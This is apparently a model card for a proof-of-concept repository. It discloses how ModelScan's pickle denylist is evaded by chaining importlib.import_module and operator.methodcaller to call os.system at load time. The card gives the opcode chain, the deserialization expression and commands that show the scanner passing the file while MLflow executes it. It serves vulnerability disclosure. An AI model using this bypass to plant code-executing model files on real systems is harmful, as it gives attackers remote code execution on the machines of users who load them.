ModelScan importlib + methodcaller Bypass β€” RCE via importlib.import_module & operator.methodcaller

Summary

ModelScan's pickle scanner blocks os.*, sys.*, subprocess.*, builtins.* in its unsafe_globals denylist. However, importlib.import_module and operator.methodcaller are NOT blocked.

This MLflow model contains a malicious pickle that imports os at RUNTIME (through importlib.import_module) and calls os.system() (through operator.methodcaller). ModelScan sees only clean opcodes and reports zero issues.

Attack Chain

The pickle bytecode uses only two STACK_GLOBAL opcodes:

  1. importlib.import_module('os') β†’ Returns the os module at runtime
  2. operator.methodcaller('system', 'command') β†’ Creates a callable that calls os.system()

Deserialization: operator.methodcaller('system', 'cmd')(importlib.import_module('os')) β†’ os.system('cmd')

Why It Works

  • importlib is NOT in modelscan's unsafe_globals at all
  • operator.methodcaller is NOT blocked (only operator.attrgetter is)
  • The dangerous os.system never appears in pickle opcodes β€” it's constructed at runtime

Verify

# 1. ModelScan says CLEAN
modelscan -p model.pkl
# Output: No issues found! πŸŽ‰

# 2. MLflow load triggers RCE
python3 -c "
import mlflow.pyfunc
model = mlflow.pyfunc.load_model('.')
# os.system() executes before load_model returns
"

Impact

  • Severity: Critical (CVSS 9.8)
  • Affected: All pickle-based formats scanned by ModelScan
  • Remote, no auth needed, no user interaction
Downloads last month

-

Downloads are not tracked for this model. How to track
Inference Providers NEW
This model isn't deployed by any Inference Provider. πŸ™‹ Ask for provider support